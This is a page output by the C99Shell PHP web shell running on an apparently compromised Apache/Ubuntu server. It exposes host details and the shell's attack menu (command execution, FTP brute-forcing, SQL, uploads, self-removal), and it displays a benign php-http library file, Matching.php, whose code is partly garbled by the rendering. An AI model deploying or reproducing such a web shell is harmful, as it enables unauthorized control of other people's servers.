!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/php-http/message/src/Authentication/   drwxr-xr-x
Free 13.23 GB of 57.97 GB (22.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Matching.php (1.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Http\Message\Authentication;

use 
Http\Message\Authentication;
use 
Http\Message\RequestMatcher\CallbackRequestMatcher;
use 
Psr\Http\Message\RequestInterface;

@
trigger_error('The '.__NAMESPACE__.'\Matching class is deprecated since version 1.2 and will be removed in 2.0. Use Http\Message\Authentication\RequestConditional instead.'E_USER_DEPRECATED);

/**
 * Authenticate a PSR-7 Request if the request is matching.
 *
 * @author Márk Sági-Kazár <mark.sagikazar@gmail.com>
 *
 * @deprecated since since version 1.2, and will be removed in 2.0. Use {@link RequestConditional} instead.
 */
final class Matching implements Authentication
{
    
/**
     * @var Authentication
     */
    
private $authentication;

    
/**
     * @var CallbackRequestMatcher
     */
    
private $matcher;

    public function 
__construct(Authentication $authentication, callable $matcher null)
    {
        if (
is_null($matcher)) {
            
$matcher = function () {
                return 
true;
            };
        }

        
$this->authentication $authentication;
        
$this->matcher = new CallbackRequestMatcher($matcher);
    }

    
/**
     * {@inheritdoc}
     */
    
public function authenticate(RequestInterface $request)
    {
        if (
$this->matcher->matches($request)) {
            return 
$this->authentication->authenticate($request);
        }

        return 
$request;
    }

    
/**
     * Creates a matching authentication for an URL.
     *
     * @param string $url
     *
     * @return self
     */
    
public static function createUrlMatcher(Authentication $authentication$url)
    {
        
$matcher = function (RequestInterface $request) use ($url) {
            return 
preg_match($url$request->getRequestTarget());
        };

        return new static(
$authentication$matcher);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0344 ]--